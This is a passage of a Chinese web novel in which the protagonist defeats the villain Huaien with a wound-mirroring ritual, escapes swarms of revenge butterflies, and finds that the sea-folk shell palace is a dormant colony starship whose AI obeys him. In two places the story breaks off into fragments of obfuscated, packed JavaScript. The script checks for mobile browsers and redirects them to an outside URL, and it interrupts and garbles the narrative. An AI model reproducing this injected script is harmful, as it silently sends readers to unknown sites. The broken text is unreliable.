“等我送走这两位小朋友,你……”他指着季泠州。 “永恒的载体,为何不坐下和我聊聊呢?或许我们可以合作?” “放掉我的同伴,再解释什么永恒?” 季泠州说话间,将掌心的钥匙递给奥菲利亚,用眼角的余光示意她,去打开海族关上的那扇门。 “同伴?” 怀恩勾起嘴角,意味深长地看了一眼奥菲利亚和布兰登,没有阻拦: “原来你还不知道,真可怜!那让我告诉你吧,百年前,那个暴君在东陆修筑了绝对壁垒,阻隔异常。 “绝对壁垒也将永恒权柄锁在东陆。从此,所有的超凡者寿命和凡人没有区别,短得可怜。 “现在,你知道为什么所有人都想祂死了。当然,这里面还包括被壁垒保护的东陆人。” 他依旧儒雅,但语气里满是恶意。 季泠州继续问:“那和我有什么关系呢?” “你的血里有微弱的永恒碎片。” 季泠州的视线扫过地上的尸体,恍然大悟:“是菲尼克斯。” 怀恩先生笑了:“他是个好孩子,可惜不长命,但我会替他们活下去的。” 季泠州:“藏书室的异变,也是你做的?” 怀恩困惑道:“当然。一个异对司的刽子手,我自然要帮她修剪羽翼。” 他干脆地打了个响指。 青色的旋风凭空出现,并且迅速壮大,朝季泠州卷来。 怀恩不是傻子,他解答季泠州的问题只有一个目的——制造时间控制外加灵性源里蕴藏的力量。 现在,不需要再浪费时间了。 季泠州摸出一枚游戏币,朝怀恩先生弹去。他终于问够了三个问题,而且怀恩先生毫无防备,一一回答。 现在,仪式生效了。 【仪式·破冰游戏:进行完真心话后,现在你们已经是朋友了。备注:你可以向朋友提一个不过分的条件。】 季泠州早想好了。 游戏币在半空中消失。 他拔出【高光】,干脆利索地往身上扎了几个对穿的血窟窿。 远处,布兰登惊呼一声。 奥菲利亚捏紧了拳头,想要转身冲回来,布兰登死死地抱住她的腰。 怀恩大惊:“你要自杀!不,我的永恒之血!” 他猛地朝季泠州跑来,却重重跌倒在地,他身上出现和季泠州一样的伤势,正在汩汩冒血。 季泠州咯了一口血,坐在地上恣意大笑:“惊不惊喜意不意外?” 怀恩慌张地按着身上的伤口,然而一双手怎么能同时按住八个窟窿? “你也会死的!”他狠狠地说。 季泠州再次给自己身上补捅了几下,捏碎便捷亡月治疗术。 “不会。我和你不一样,欠了很多债的人往往不会死。”他身上的伤口开始一点点愈合。 怀恩先生无力地躺在地上,死死盯着季泠州,似乎要把他的脸刻到心里。 季泠州站在怀恩旁边,盯着这个男人咽下最后一口气。 今天,在这座大厅里死了太多人。为利益所驱者,终为利益所噬。 他对这些人毫无同情,微微摇头,转身朝奥菲利亚追去。 怀恩的灵魂轻轻地从身体里飘出来,面无表情地站在一旁凝视自己的尸体。 他生前是八阶超凡者,经年的灵性冲刷让灵魂逐渐凝实,死后依旧可以存在一会。 怀恩盯着自己尸体的脸看了许久,不甘与愤恨涌上心头。 这样的死法太过可笑,卑微得如同他最看不起的那些蝼蚁虫豸。 怀恩忽然笑了,用极快的语速低诵: “伟大的万虫之主,我愿献上我的灵魂,换取您的注视。” 怀恩的灵魂噗的一声,炸成碎片。 同时,尸体的两颗眼球弹出眼眶,滚落在地。然后融为一体,化作巴掌大的灰白虫茧。 一只蝴蝶咬破虫茧钻了出来。 它轻展洁白的双翼,探出金线一般的触须,纤细而美丽。 若是在阳光下,能看到蝴蝶两边翅膀上各有一张人脸。 左边的翅膀上,人脸微笑;右边的翅膀上,人脸哭泣。 蝴蝶轻振双翼,悄无声息地朝季泠州飞去。 44.繁生S-204号 “好样的,季。” 奥菲利亚一把抛过【安心钥匙】,季泠州眨眨眼睛,伸手接住。 “现在呢?从这里离开?”他指指光幕的方向。 奥菲利亚笑着点头,说:“谢谢。” 旁边,布兰登动了动嘴唇,最后挤出一行字:“你以后来我的酒馆,免费!” 季泠州大感诧异,像布兰登这样在危险关头第一时间注意面包的家伙,也会主动免单? 奥菲利亚牵着咕咕的缰绳,检查鸟背上两个人的状态。 昆兰先生和海族伙伴的昏迷质量真是好得惊人,中庭里打成一团,两人依旧呼吸平稳。 季泠州提议:“我觉得,可以把那些尸体低价处理给海族。” 他指指通道门口躺着的尸体。 超凡者的身体灵性充沛,虽然因为死亡消散了大半,但剩下的部分依旧可观。 布兰登敬佩地竖起大拇指,他觉得自己够不是人了,但季泠州明显更强。 奥菲利亚明显有些不好意思,她搓搓手:“这合适吗?” 季泠州、布兰登:“合适。” “好。”她行事干脆,从陆行鸟咕咕背后的鞍袋里抽出一根绳子,朝通道口走去。 “小心!”她大喊一声,转身就跑。 只见铺天盖地的雪白蝴蝶朝这边飞来。 季泠州眼尖,一眼就看到了蝴蝶翅膀上和怀恩一模一样的人脸。 “这是什么?”他问。 在“鉴定”视角里,蝴蝶身上只有一个标签——【季泠州必须死】。 奥菲利亚大步朝光幕冲去,一边说:“是狂乱之喉的复仇骨蝶,这东西有剧毒还吸血。” 季泠州:“有什么办法除掉它们吗?” 布兰登:“没有办法!它们为复仇而来,仇人不死,它们是不灭的。” 奥菲利亚用力推了一把咕咕的屁股,帮助陆行鸟避开骨蝶。 她补充了一句:“在瑟西莉亚王国,起码封印了二百个骨蝶群,都是向半神复仇没成功的。” 季泠州眉头微蹙:“它们会袭击复仇目标以外的人吗?” 布兰登:“废话。否则我跑什么呀?它们会在血肉上产卵,孵化更多的骨蝶,一起啃噬仇人。” 短短片刻功夫,骨蝶就吃光了通道口的所有尸体,数量翻了三倍。 奥菲利亚:“别解释了,快跑!这东西杀不完。”她人高腿长,已经走到光幕门口了。 季泠州叹了口气:“你们先走,我引开它们。” 布兰登大吼一声:“傻瓜!壳宫的光幕通道出口大多在海里,海水能淹死骨蝶。” 他掉头冲来,似乎想拽着季泠州离开。 季泠州别无选择。 “鉴定”视角里,光幕上方浮着一行小字【目的地:缝纫匠大道第七个下水道口】。 他知道这个地方,那里的商品便宜又能拆零售卖,往来的人极多。 他不是滥好人,但也不想因为自己的原因,害太多人枉死。 再说,把骨蝶丢在海族的家里,似乎也不太合适。 “好了,别说了!” 季泠州发动了“修改器”,就在他用剑捅自己的时候,怀恩、奥菲利亚和布兰登各反馈了一次对“美强惨”称号的认可。 现在他能使用三次特殊的构筑。 正如此刻,他左手尾指的宝石戒指灵辉闪烁。 【元素召唤器(每天限用10次):某位八阶超凡者死前最后一个念头是用大风吹走自己的敌。备注:很明显,他失败了。】 怀恩同款旋风凭空出现,将奥菲利亚、陆行鸟和布兰登一齐推入光幕。 接下来,就是对付复仇骨蝶了。 季泠州估计了一□□内剩余的灵性,差不多能支持召唤塔坎瑟斯马十分钟。 “出来!”绿焰翻涌,季泠州跨上马背,猛地调转方向。 冲在最前面的骨蝶猝不及防,噼里啪啦地撞在穹顶上,死了一大片。 后面的骨蝶迅速吞噬同伴的尸体,新的骨蝶随之诞生,数量几乎看不出消减。 或许得放点火,季泠州若有所思,操控着塔坎瑟斯马拔地而起,朝半空中跑去。 马蹄踏过虚空,留下盘子大的绿色焰团,疾飞的骨蝶猝不及防撞上火焰,瞬间着火。 燃烧的虫尸落下,在半空中就燃烧殆尽。有几只飞在蝶群中间的,还引燃了其他骨蝶。 有戏! 季泠州再次按在戒指上,大团的火焰喷涌而出。 “唏律律!”几缕火焰略过塔坎瑟斯马的尾巴,惹得它不满地鸣叫。 他仿佛没有听到一般,紧紧地盯着火焰。 蝶群被烧得缺了一大块,但剩下的骨蝶很快反应过来,纷纷拉开了和同伴的距离。 火焰逐渐熄灭。 更糟糕的是,塔坎瑟斯马的召唤时间也要到了。 做英雄可太难了! 季泠州心中焦急,视线不断梭巡中庭,试图找到办法。 他盯着海族离开的小门。 迪伦·阿兰构筑的投影应该还没有完全消失,他或许可以将蝶群困在里面,拖延一段时间。 他掏出【安心钥匙】,在心中祈祷:一定要管用呀! 塔坎瑟斯马俯冲而下,他手指转动,以极快的速度打开了门锁。 然后冲了进去。 季泠州没忘记戒指还有8次使用机会,他索性一次性对着门口的方向放了出去。 火焰连续喷射,骨蝶燃烧的噼啪声不绝于耳。 想必,能烧死大半,剩下零星几只,即便是躲也会容易一些。 正当他这么想时,忽然感觉身体一凉。 季泠州低头望去,只见一柄尖锐的鱼骨刃从自己的小腹捅出。 他艰难地转头,看到了海族首领愧疚的脸。他这才发现,自己并没有进入投影世界。 自己身处一间银灰色的大厅,像是缩小版的中庭。两侧有对称的十二根立柱,每根立柱旁都站着一个海族。 他们表情狂热,小声低语。 那是一种季泠州听不懂的语言,但他能确定,没有一个海族发出“咕噜”的声音。 他们和之前见过的不一样。 海族首领抽出鱼骨刃。 季泠州的手松开,掌心捏着的假钥匙掉落在地,它的外观和【安心钥匙】毫无差别。 他身子发软,眼角余光能看到剩下的骨蝶飞了进来。 海族首领像是没看到一样,扶住季泠州。 然后将手伸进他外衣的口袋,准确地掏走了所有异常物。 亡月治疗术、万用药膏和其他的零碎…… “好了!你可以安心躺着吧。”她声音柔和,将他放平在地上。 然后漫不经心地拽下身侧的蒙布。 露出一块桌子大的透明水晶,里面有一只巨大金色骨蝶。 她解释:“这里面封着拉吕刻娅,狂乱之喉的长女,复仇女神。” 追逐季泠州的骨蝶,如扑火的飞蛾般调转方向,纷纷撞入水晶,奔赴自己的神祇。 片刻后,金色骨蝶脚下,多了一只指甲大的白色骨蝶。 很棒,如果这是琥珀,封印了两只虫大概能增值了。 看到这只迷你小蝴蝶,季泠州莫名其妙觉得自己给穿越者丢脸了。 他低低喘着气,问:“拉吕刻娅复仇的目标是?”似乎没必要问,自己已经猜到了。 海族首领用吟唱般的语气说: “祂是拯救者,亦是毁灭者;是背誓者,亦是天启者。” “说人话。”失血让他眼前一阵阵发黑,但还是忍不住打断了海族首领神神叨叨的话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400983|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 海族首领重新盖上水晶:“天命皇帝。” 果然,季泠州心中苦笑,怎么走到哪里都是祂,和鬼打墙一样。 他仍不愿意放弃:“我不是天命皇帝身边的大司命,我们只是长得一样。” 海族首领满脸愕然,然后轻笑一声:“当然。但凡长了眼睛都能分辨。” 她伸手在地上蘸满季泠州的血,说:“但你们流着一样的血,不是吗?” 她招来五个族人,让他们剥下季泠州沾血的外衣,丢到门外,还刻意拼成了人的形状。 “等你的同伴找来,会以为你已经死了,他们可以拿走你的衣服帮你修一个衣冠冢。”海族首领好心地解释。 “等一百年后,我们的船航行回来,我会带你给自己扫墓,一定很有趣。”她说着忍不住笑起来。 “那可真是谢谢了。”季泠州阖上眼睛,昏了过去。 小门重新关上。 海族首领叹了口气,低声自语:“对不起,但这是你们人族欠海族的。” 她挥手招来两个族人:“准备启航。” 其中一个年老的海族期期艾艾地问: “首领,那些有我们血脉的孩子呢?我们还没有通知他们。” 首领望向另一个年轻海族,示意他回答。 年轻海族用憎恨的语气说:“他们不是我们的族人,而是罪恶的果实。没杀了他们,已经是海族仁慈了。” 老年海族噤若寒蝉。 首领淡淡道:“去吧,把他扶过去。” 大厅中央,有一张金属座椅,海族将季泠州牢牢地捆在上面。 海族首领先用亡月治疗术治疗了他身上的伤口,然后抽出鱼骨刃,尽可能地将血放出来,均匀地涂抹在大厅的每一个角落里。 壳宫毫无动静。 周围的海族不禁投来疑惑的目光。 海族首领面色平静:“继续。” 接着,是不断的治疗和放血,海族间的气氛逐渐焦躁起来。 昏迷中的季泠州眉心紧蹙,似是非常痛苦。 海族首领身后一人提议:“或许需要骨头,或是血肉?” 海族首领沉吟思索,她不想将事情做绝。 所有人都不知道的地方,季泠州的血顺着地面上的裂缝缓缓下渗。终于,滴在了一颗巨蛋上。 岩石蛋壳瞬间崩裂成碎粉,露出内里跳动的核心。 随着血越流越多,某个瞬间跳跃的核心闪烁了一下,延展开来化作金属打造的冰冷机械。 它如心脏般,泵出浩瀚能量,顺着周围的透明管路输送向壳宫的每一个角落。 柔和的女低音响彻大厅: “核心系统启动中…… “繁生S-204号,型号-殖民辅助舰,注册编号:SY9766086,设计寿命-100标准年(已使用3标准年)…… “开始自检…… “主引擎离线、副引擎完好、反重力系统完好、海妖B19型培育系统完好、外壳完整性68%…… “预计修复时间:7921秒。 “开始修复。” 大厅里的海族满脸困惑,这是他们的语言,但他们一个字也听不懂。 “首领?” 海族首领喜悦地张开手臂,笑道: “我们的船已经复苏,很快就可以启航,离开涅伽拉德返回家乡。再也没人能欺辱、虐待我们!” 海族顿时欢呼一片。 “太好了!” “终于——” 正当他们欢笑庆祝之际,女低音再次响起: “检测到海妖B19型生物产品逃脱约束仓,共计3981个,开始收容。” 大厅的天花板折叠收起,露出无数生物机械触须。 “嗡——”触须活了过来,朝海族抓去。 45.化敌为牛马 海族们慌作一团,纷纷举起鱼骨刃和机械触须战斗。 可触须终究是科技时代的产物,鱼骨刃砍在上面连个印子也留不下。 女低音继续播报: “产品反抗,现注入麻醉气体,倒计时:59、58、57…… “麻醉气体注入终止,检索到管理员生命波动,根据人联法第三百二十一条,禁止对公民使用V类及以上武器…… “最新指令,唤醒管理员,治疗程序启动……” 几只触须分出来,朝季泠州探去。 它们围住他,融化重组为圆柱形的不透明容器。 一只触须顶端裂开,流出淡绿色的液体,将整个人浸在里面。 几分钟后,季泠州身上的伤口消失了。 又过了许久,他缓缓睁开眼睛,入目是光滑的类似棺材盖一样的银灰色板材。 自己又穿越了? 他打量着周围极具科幻感、像休眠仓一样的东西,抬手敲了敲。 声音清脆。 他想:也好,唯物世界一切有理可循,比不讲道理的唯心世界好多了。 “管理员,中午好。我是繁生S-204号辅助智能,请下达指令。”女低音突兀地在耳畔响起,吓了他一大跳。 季泠州从座椅上站起,寻找声音来源。 辅助智能:“……%%¥@##¥%……*”他诧异地发现,自己忽然听不懂这种语言了。 但奇怪的是,它给人一种熟悉感。 想起来了,这不就是海族用的语言吗?他们明明能流利说话,却非要给口音里加“咕噜”,让人印象深刻。 季泠州再次环顾四周,越发觉得脚下的地面、身侧的圆壁和昏迷前的大厅风格一致。 他重新坐回座椅。 熟悉的语言理解力又流淌回脑中。 果然,在这艘船上,“姿势”比“知识”更管用。 它在不断重复:“请管理员下达指令。” 他试着开口:“将海族抓起来,调阅日志。” 辅助智能:“收到命令,已将海妖B19型生物产品重新标记为海族。” 机械触须陆续收回,露出大厅的真实样貌。 大厅四周的墙壁上,滚过瀑布一般的数据。立柱之间浮起光屏,显示着各种数据。 大厅中央,全息投影着整艘繁生S-204号的结构图。 上面显示它是一艘半生生物半机械的星系内飞船,通体呈椭圆型,由一座反物质引擎和八个核聚变反应堆供能。 季泠州猝不及防之下,从神秘学盛行的蒸汽时代跃入了星际时代。 他轻轻触摸着化作屏幕的墙壁,温暖而光滑,似乎是某种生物材料。 本以为这个世界已经够疯狂的了,没想到自己还是太保守了。 季泠州很想笑,又想先照镜子,看看自己脸上是否出现了油彩和红鼻子。 既然这个世界有宇宙飞船存在,那他天天背诵的超凡知识算什么?绞尽脑汁提升灵性又叫什么? 行为艺术?! 那天命皇帝呢? 祂所谓的“消失”,该不会是驾驶宇宙飞船回地球了吧? “滴答——”辅助智能弹出一封信件的投影,“您收到发件人momo的留言,是否打开。” 说momo,momo到。 “开。”季泠州一脸生无可恋。 拼音夹杂着火星文的一封信(为方便阅读,已翻译)被投到大厅中央: “老乡,当你读到这封信时,我已经回家了。本来想等你一起出发,但我实在是等不及了(不好意思?_?)。嘿嘿嘿,不过我给你留了礼物,藏在这些地方(附上地图.jpg),这个世界的历史很有趣,望你抓紧时间,886。” 就这? 季泠州将这寥寥数语的信反复读了三遍,依旧难以相信。 他问:“辅助智能,留言的全部内容都在这里了吗?” “是的,管理员。” “有地图吗?” “没有。” “查询留言时间。” “时间系统离线,检索中,请稍等……” 季泠州扶额长叹。 不过,momo的成功让人振奋,他再次下令:“调取全部日志。” 繁生S-204号的日志不长,毕竟投入使用3年就永久掉线了。 日志内容单调,基本就是进原材料、售卖产品,然后换个地方再进原材料。 对了,产品是海族。 繁生S-204号被设计出来的那个时代,人类社会高度发展,旧的秩序受到冲击,人联被迫研发了生物改造人,用于维持人口稳定。 海族像他穿越前的包饺子机,投料后出产品。 只不过一个产出饺子,另一个产出新公民。 除了海族,根据市场需求,还有尖耳朵的精灵型改造人、大胡子的矮人型改造人、毛茸茸的半兽人型改造人…… 按照人联法律,这些改造人没有公民权,也不属于动物,社会对他们的定义是生物工具。 季泠州突然想起什么:“检索超自然现象、魔法、异常、超凡,还有永恒权柄……” 辅助智能:“为您搜索到31029本小说、漫画及相关影视作品,如需更多请链接星网后继续检索。” “我们的世界不存在超自然力量吗?” 辅助智能:“是。” 季泠州:“告诉我,繁生S-204号失联前发生了什么?” 辅助智能弹出一份通知,上面说人联3026年,人联主脑通知所有大气内飞船立即关闭主引擎,就近降落。 船员日志显示这艘飞船上的工作人员迅速离开了,再也没有回来。 但他们离开得太匆忙了,在主引擎关闭前,生产海族的程序持续运转。 季泠州十分确认,当年一定发生了某种巨大的变故。 从星辰大海的唯物世界,变成有超凡力量的唯心世界,总要有个过程,亦或是源头吧? 天外陨石?外星人入侵?古神苏醒? 记载一片空白。 而文明,又是如何断代的呢? 季泠州不死心,又仔仔细细地搜索了三遍。甚至连制造海族的原材料都读了一遍,毫无线索。 他决定换个思路,海族首领看起来知道得很多。 现在整个海族都掌握在自己手上,不妨去问问。 他下令:“辅助智能,带我去检查产品。” 辅助智能:“收到。管理员。” 大厅的地面裂成悬浮的菱形块,其中一片载着季泠州急速下落。他站在上面,觉得自己很像驾驶飞毯的阿拉丁。 周围景象飞速切换。 能看到悬浮的机械喷嘴在打印破碎的飞船外壳,也能看到飞船核心悬浮着一个正八面体形的反物质引擎,不断朝四周输送能量。 季泠州不由感慨,能量的转化终于摆脱了烧热水,可喜可贺。 这种好奇一直持续到菱形块飞过连绵的货柜。 为了展示产品,货柜设计成全透明,里面躺着一动不动的蓝发躯体。 他们被整齐固定在货柜里,双手放在胸口,身上穿着统一的浅灰色连体衣,就连头发也被统一修剪了。 男性是短发、女性是齐耳短发,未成年没分化性别的则是蘑菇头。 他甚至从里面辨认出几个刚才还见过一面的海族。 季泠州想起前世看过的一个工业化屠宰场介绍视频,心头浮起淡淡不适,只好撇过脸不再看。 “帮我找一个海族。”他描述着海族首领的特征,“大高个,眼角有颗痣,岁数挺大。” 下一秒,辅助智脑投影出一张照片。 “对对对,就是这个。”季泠州说,“带这个海族来见我。” 辅助智脑:“该产品使用寿命超标,正在排队销毁,当前顺序:29。” 它还贴心地附上了一份销毁名单,有男有女。 名单里,主动询问混血族人的老海族照片已经变成了灰色。 季泠州低喝一声:“立刻停下!” “收到!” “为什么不经过我的同意,就销毁海族?” “改造人生产协议第193条规定……” “好了,我知道了。”季泠州打断智脑,终于意识到文明和文明间的巨大差距。 海族首领被带到了休息室,怔怔地盯着自己的脚。 嘴里不断念叨: “祂说的是对的,不要启动船……” 季泠州伸手在她面前晃了晃:“首领?” 首领回过神来,冷冷地瞥了季泠州一眼:“你想要什么?” 季泠州摆手,休息室的墙壁变得透明,露出后面成排的货柜,以及里面的海族。 他斟酌了一下语气:“我有些问题想问你。” 海族首领淡淡道:“问吧。” 季泠州:“一百多年前都发生了什么,关于天命皇帝你都知道些什么。” 海族首领沉吟片刻:“我知道的很少,只知道祂找上我们,要求参观壳宫。然后,祂就离开了。” “你记得更多的细节吗?” 海族首领歪头打量了他半晌,干脆利索地摇头:“祂抹去了自身过往一切,我只知道祂来过。” 季泠州:“还有补充吗?” 海族领袖冷笑一声:“祂当年说过,这个世界即将衰亡。一百年过去,想必快了,我由衷感到高兴。” 季泠州微微蹙眉。 他理解海族首领的心情,一朝得知所谓的家乡根本不存在,而海族又是被人为创造出来的生命,世界观一定受到了极大冲击。 他更希望首领能尽快冷静下来,思考一下未来的道路。 忽然,整艘飞船剧烈摇晃。 “辅助智能,怎么了?”他扶住一旁的墙壁,稳住身体。 “离…线…,滋啦——”刺耳的电磁波声响彻飞船。 季泠州推开休息室的门,眼前出现震撼人心的一幕。 一切都在扭曲、畸变。 反物质引擎长出血肉,化作一颗怦怦跳的巨蛋。困住海族的货柜似是在短时间内过了无数岁月,飞速腐朽成灰。 所有唯物的科技,在一瞬间内坍缩成唯心造物。 困惑的海族自废墟中坐起身,茫然地打量着周围的一切。 “凡人,你在这里!”银灰色的穹顶被雾气吞噬,季泠州的耳畔响起熟悉的声音。 是黑暗丰穰。 无数人痛苦的呓语响彻耳际,他不受控制地蹲下,血从眼眶、鼻孔、耳朵里流出。 季泠州的理智瞬间清空。 他看到船壳上绽放出大丛的繁花,每个花蕊里都嵌着一张人脸,正冲他微笑。 天空洒下血雨,灰烬在滋养下蔓延出蛛网般的血管,扭曲的造物欢快地从废墟中跳出,绕着他转圈。 实际上,飞船内部一片寂静。 海族首领警惕地打量着季泠州,这个男人像是中了石化术一样,忽然定住了。 她感受到冥冥中有可怕的危险在迅速接近。 是雾,周围的一切迅速模糊。她必须得做点什么,即便赌上族人的命。 季泠州的意识被吸入了星空。 虚空中悬浮着一颗深绿星球,无数芝麻大的飞船起飞降落,一派繁荣。 他像流星一般,朝星球落去。 巨大的浮空城悬浮于云海之上,上千米高的建筑由轨道连接,列车穿梭其间。绚烂的全息投影和各种科技造物交织。 骤变突生,浮空城自云端坠落砸入大海,激起滔天巨浪将地面城市拍成碎片。 人们驾驶着飞梭慌张逃命。 然后,神祇自每一个角落出现。 墓地撒落月辉、森林罩上雾气、昆虫变大,借机作乱的人脸上长出第二张脸…… 人群跪地祈祷。 季泠州望着这末日般的景象,忽然感觉脸颊剧痛,脑袋重重地磕在硬物上。 他困惑地歪头,发现自己在飞速移动。 意识重新回到躯体,海族首领正拉着他逃命,躲避身后迅速蔓延的雾气。 她将季泠州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407971|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扛在背上,像雌豹一样在悬浮的菱形地块中跳跃奔跑。 首领满脸焦急,举起手臂似乎要再打一个耳光,季泠州连忙架住她的手臂。 “我明白了。”他大口喘着气,像条脱水的鱼。 理智被清空带来一种无法用语言描述的痛苦,但也因此获益,窥到世界真相的一角。 季泠州脸色煞白,语速极快地说道。 “神……是权柄,这艘船在唯物时代意味着繁衍、生命,是属于黑暗丰穰的权柄,所以祂来了。” 注意到首领迷茫的表情,他补充了一句:“现在是在重复当年发生过的一切,很快会过去。” 海族首领:“我们该怎么办?” 他吐出一口血沫,舌尖舔过后槽牙 很好,还没掉。 不得不说海族首领的手劲儿真大。 “送我去那里。”他指指巨蛋。 海族首领打量四周,猛地将季泠州抛了出去。 风在耳边疾啸,他拔出【高光】,原地打滚卸下力道。他握住剑刃用力一划,大片的鲜血洒在巨蛋上。 “嘭嘭嘭”的跳动骤然停止。 巨蛋在一瞬间迸裂,再次化为明亮的正八面体。 辅助智能的声音再度响起: “核心系统启动中…… “繁生S-204号,型…… 季泠州打断:“闭嘴,全力修复飞船。” “收到。” 一块菱形地块将海族首领送来,她神色复杂:“你的血,能……”她的嘴张开又闭上。 唯心到唯物的变幻,很难用言语描述。 季泠州摇头:“不是我的血,是永恒权柄在生效。” 海族首领心中绝望,她知道了太多。本就是敌对关系,她想不出对方放过自己和族人的可能。 季泠州微微一笑,似洞彻人心一般。 他说:“我不可能一直放血维持,这艘飞船终究要变回壳宫。” “但我有一个提议,我可以将船开到深海远离洛萨兰的地方。你和你的族人将不再受人类骚扰,不必担心会被抓走。” 海族首领眼底掠过一丝光亮,随即又湮灭。 她脖颈微垂:“海族要付出什么?” “我要你们为我工作。”天命皇帝的成功让季泠州反思: 同掌控一个国家的皇帝相比,单打独斗似乎很难实现目标。 和海族合作,或许是一个好的开始。 海族首领脸色骤变,声音斩钉截铁:“绝不可能。” 季泠州:“不是你们想的那种工作,我要你们帮我制作超凡种子,顺便做些脑力劳动。” 海族首领面色缓和:“可是我的族人没有接受过正式教育。” 季泠州:“无妨。飞船有知识灌输模块。” 海族首领干脆利索点头。 季泠州从口袋里掏出一枚游戏币: “订立契约,我保护海族不被外界干扰,海族为我工作并保守秘密,我会按市场价支付薪酬。” 条件更加优越了,海族首领心中暗喜。 只是,这签订契约的方法多少有点奇怪。她在季泠州的要求下,伸出小指和他的小指钩在一起,同时嘴里说: “拉钩,一万年不许变。” 【仪式·拉钩:契约有效期一万年。备注:反悔方需承担代价,具体形式不详。】 感受到契约之力缠绕在对方身上,季泠州松了口气,现在只剩下最后一件事了。 “可以把我的钥匙还回来了吗?”他笑眯眯地看着海族领袖,除了那个狡诈的酒馆老板,谁还会偷走自己的钥匙,交给海族呢? 海族首领满脸悻悻,从怀里摸出【安心钥匙】递给季泠州。 “希望你不要为难布兰登,都是我逼他这么做的。”她神色不安。 季泠州点头。 自己不会对布兰登下毒手,但一定会让他尝尝996的滋味。 送首领离开去安抚族人后,季泠州开始研究繁生号的停放地点。 因为文明断代,这颗星球到处都是无人区。他扫视着辅助智能提供的星球扫描图,目光停留在一座逗号形状的岛上。 贝壳岛面积极大,拥有丰富的淡水和茂密的植被。 更妙的是,岛周围布满湍急的洋流和暗礁,这个时代的船极少有能通过的。 就是这里。 …… 涅伽拉德。 大地凭空抖动起来,接着在所有人的惊恐目光中,海洋里升起一颗巨蛋,它像一座小山般悬浮于天际。 “天!是神祇降下怒火,要摧毁这座罪恶之城。” “啊——我有罪!” 季泠州站在舰桥,满脸无奈。 动静有些大了,但辅助智能明确表示,需要一分钟启动星球内飞行系统。 他身后,站着两个新鲜出炉的海族专家,正在和智能确定飞行方案。 季泠州忽然开口:“等等,帮我扫描城市,身上带着这种水银镜的人。” “收到。携带该物品的人类共计6个,分别是……”辅助智能一眨眼就生成了报告。 “打印一份。” “收到。” 城市中,飞起三五个超凡者,他们警惕地围着巨蛋。 季泠州只认出人群中的夜莺。 “这座城市由亡月和异对司共同庇护。”一个中年男人用试探的语气说,“我是休斯·法雷尔,请问冕下是?” 他大概认为飞船是个半神。 季泠州用变换后的声线说:“我来自万物终焉会,只是路过。”这是他随口编的名字。 行走超凡界,谁还能没个后台? 即便没有,也得给自己编一个。 下一刹,巨蛋破空而去,激荡的气流将休斯·法雷尔吹出老远。 他一脸后怕,和身后的老者交换了一个眼神。 若是凋零诗人还活着,一定能认出这个老者。 凋零诗人正是和老者一起,经历了人生中最大的一次失败。 ——在赫尔曼·苏利文纪念会那夜。